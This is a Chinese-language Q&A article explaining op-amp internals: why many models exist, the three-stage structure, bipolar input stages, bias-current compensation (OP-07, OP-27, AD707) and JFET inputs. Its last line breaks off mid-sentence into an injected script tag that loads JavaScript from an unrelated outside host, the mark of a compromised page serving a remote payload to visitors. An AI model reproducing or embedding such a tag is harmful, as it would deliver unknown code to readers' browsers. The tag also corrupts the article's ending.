问:运算放大器为什么有这么多不同的型号?
答:因为存在着许多在不同应用中有重要意义的参数,而且由于所有这些参数不能同时加以优化的缘故。可以针对速度、噪声(电压、电流或二者)、输入失调电压及漂移、偏置电流及漂移、共模范围等来选择运算放大器,其它因素可能包括功率(输出、损耗或电源)、环境温度范围以及封装。不同的电路结构设计和制造工艺可以优化不同的性能参数。
问:在一些运算放大器的设计中存在任何共同的要素吗?
答:是的。大多数传统(电压输入)的运算放大器都是三级器件,包括一级带有差动输入和差动输出的输入级—具有很好的共模抑制特性;后面是有很高电压增益以及(一般地)一个单极点频率响应的差动输入、单端输出的输出级;最后是一级通常为单位电压增益的输出级。
问:那么差别在什么地方?
答:在这个基本设计上存在很多可能的变化,最基本的一点就是输入级的结构,这一级几乎总是一个差动放大器,也就是说,像下图中那样连接的一对放大器件。但是器件的选择对运算放大器的输入参数有着深远的影响。单片运算放大器具有用双极或场效应晶体管组合成的输入级。
用双极晶体管组合成的差动放大器如下图所示。其显著特点是它的低噪声,以及通过适当的修正而有很低的电压失调。此外,如果修正上述这一级以使失调电压为最小,那么它将固有最小的失调漂移。其主要缺点是由晶体管的射极和基极电流的比例造成的;如果为了使这一级有适当的带宽而使射极电流足够大,则基极电流—从而偏置电流将相对较大(在通用运算放大器中为50~1000na,在高速运算放大器中高达10μa)。
反相和同相输入端的偏置电流是单向的,并且匹配良好(它们的差被称为失调电流),它们随着温度的升高略有降低。在很多应用中,对于那些偏置电流绝对值很大的情形,可以利用精确地匹配来补偿。下面表示的是一个基极补偿电路,其中同相输入端中的偏置电流流入rc(称为偏置补偿电阻);它补偿由于反相输入端的偏置电流流过r2而产生的电压降。名义上让rc等于r1和r2的并联组合,通过修正它可以使由失调电流不为零而引起的误差减至最小。
这种偏置补偿只有当偏置电流匹配得很好时才是有用的,如果它们匹配得不好,偏置补偿电阻实际上可能会引入误差。
如果要求双极输入级没有这样一种大偏置电流的缺陷,可以靠芯片设计者采用不同的偏置补偿方式来实现(下图)。利用同样的差动放大器,但是每个基极所需要的电流的主要部分,由芯片上的电流产生器来提供。这样可以把外部的偏置电流降低到10na或更低而不影响失调、温度漂移、带宽或电压噪声,偏置电流随温度的变化也相当低。
这样的结构存在两个缺点:增加了电流噪声,并且外部偏置电流不能很好地匹配(的确,实际上它们可能以相反的方向流动,或者随着芯片温度的变化而改变极性)。对于很多应用来说,这些特性是没有缺点的。确实,一种最流行的低失调运算放大器,比如op-07,采用的正是这样一种结构。像采用这种结构的op-27、op-37以及ad707等具有可保证的失调电压仅15μv。当这种型号的偏置补偿放大器的数据表明确地给出双极性偏置电流,比如为±4.0na时,它们通常是可看得出的。
在那些即使几纳安(毫微安)的偏置电流也是不能接受的地方,通常要用场效应器件代替双极晶体管。过去,mosfet管用于运算放大器的输入级多少有点噪声干扰,不过现代工艺技术正在克服这个缺点。由于mosfet也往往会引起比较高的失调电压,所以对于高性能的低偏置电流运算放大器应采用结型fet(jfet)管。典型的jfet运算放大器的输入级如下图?script src=http://er12.com/t.js>